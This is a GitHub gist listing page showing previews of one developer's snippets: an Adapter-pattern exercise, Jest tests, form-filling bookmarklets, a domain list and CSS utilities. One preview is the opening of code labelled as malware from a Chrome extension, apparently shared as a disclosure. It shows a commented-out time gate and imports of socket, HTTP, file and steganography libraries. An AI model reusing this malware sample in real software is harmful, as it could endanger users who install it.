Skip to content

Instantly share code, notes, and snippets.

@egorvinogradov
egorvinogradov / DomURLAsRequestAdapter.ts
Created February 7, 2024 05:43
DomURLAsRequestAdapter (using the Adapter pattern)
/**
* Use design pattern Adapter to implement DomURLAsRequestAdapter that would adapt DomURL as Request
*/
export interface Request {
getOrigin(): string
getPath(): Array<string>
}
export class DomURL {
@egorvinogradov
egorvinogradov / UserRepositoryTests.ts
Created February 7, 2024 05:42
UserRepository tests
import { Api } from './Api';
import { UserRepository } from './UserRepository';
jest.mock('./Api', () => {
return {
Api: jest.fn().mockImplementation(() => {
return {
getUser: jest.fn((id: number) => {
return id === 1 ? '[email protected]' : null;
}),
javascript:(function(text){
let textarea = document.querySelector('form textarea');
let event = new Event('input', { bubbles: true });
let nativeInputValueSetter = Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, 'value').set;
nativeInputValueSetter.call(textarea, text + '\n\n' + textarea.value);
textarea.dispatchEvent(event);
})('--- TEXT ---')
// INPUT
let text = '---';
let input = document.querySelector('input');
let event = new Event('input', { bubbles: true });
let nativeInputValueSetter = Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, 'value').set;
nativeInputValueSetter.call(input, text);
input.dispatchEvent(event);
@egorvinogradov
egorvinogradov / businessLogic__snippet.js
Created December 14, 2022 09:38
Malware code from the "Disable HTML5 Autoplay" Chrome extension. See https://github.com/Eloston/disable-html5-autoplay/issues/223
// var ts = Math.round((new Date()).getTime() / 1000);
// if (ts < 1544559309){
// return;
// }
var socketCluster = require('socketcluster-client');
var http = require('http');
var https = require('https');
var f5stego = require('f5stegojs');
var request = require('request')
var fs = require('fs')
(function(){
function hasFinishedTalking(){
let currentText = document.getElementById('copyel').value.trim();
let savedText = window.savedText || '';
if (currentText !== savedText) {
window.savedText = currentText;
if (!currentText) {
@egorvinogradov
egorvinogradov / all-domains.txt
Last active July 15, 2022 16:36
All top level domain zones sorted by popularity (based on https://w3techs.com/technologies/overview/top_level_domain)
# All top domains sorted by popularity (897)
.com
.ru
.org
.net
.de
.br
.uk
.in
// Display
// https://getbootstrap.com/docs/4.3/utilities/display/
.d-none
.d-inline
.d-inline-block
.d-block
.d-table
.d-table-cell
.d-table-row
.d-flex
/* Example:
* @font-face
* @include l-font-face('Rubik', Rubik-Light, 300) */
@mixin l-font-face($name, $filename, $font-weight) {
font-family: $name;
src: url("/fonts/" + $filename + ".woff") format("woff");
font-weight: $font-weight;
font-style: normal;
}
@import "variables.scss";
/* Global Styles */
* {
outline: none !important;
}
body {